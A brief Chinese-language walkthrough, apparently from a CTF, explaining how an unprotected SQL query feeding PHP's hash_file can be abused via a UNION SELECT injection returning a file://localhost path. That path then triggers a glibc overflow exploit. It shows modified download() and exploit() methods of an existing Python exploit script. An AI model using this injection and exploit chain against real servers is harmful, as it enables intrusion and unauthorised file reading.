这里有两个hash_file函数,其中第一个hash_file('md5', $filename),这个filename是$filename = $baseDir . get_filename(8);,结合get_filename()函数,可以得知左边这个hash_file是写死的。

右边的$value[0]则是通过sql查询的结果,这里sql查询只是一个简单的查询语句,没有做任何的防御。结合$value[0],这里需要通过sql注入来读取该文件,利用sql注入select 'file://localhost/xxx'会返回file://localhost/xxx这个字符串,从而进行glibc溢出攻击,简单修改现成的python脚本即可。

Ubuntu Pastebin

具体修改位置:

1
2
3
4
5
6
7
8
9
10
11
12
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""

#这里的path读文件也是需要根据实际需要更改
path = f"file://localhost/{path}"

#path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
#data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
#return base64.decode(data)
return response.content
1
2
3
4
5
6
7
8
9
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
#这里的path根据需要进行修改触发
self.remote.send("' union select '" + path + "'-- ")
except (ConnectionError, ChunkedEncodingError):
pass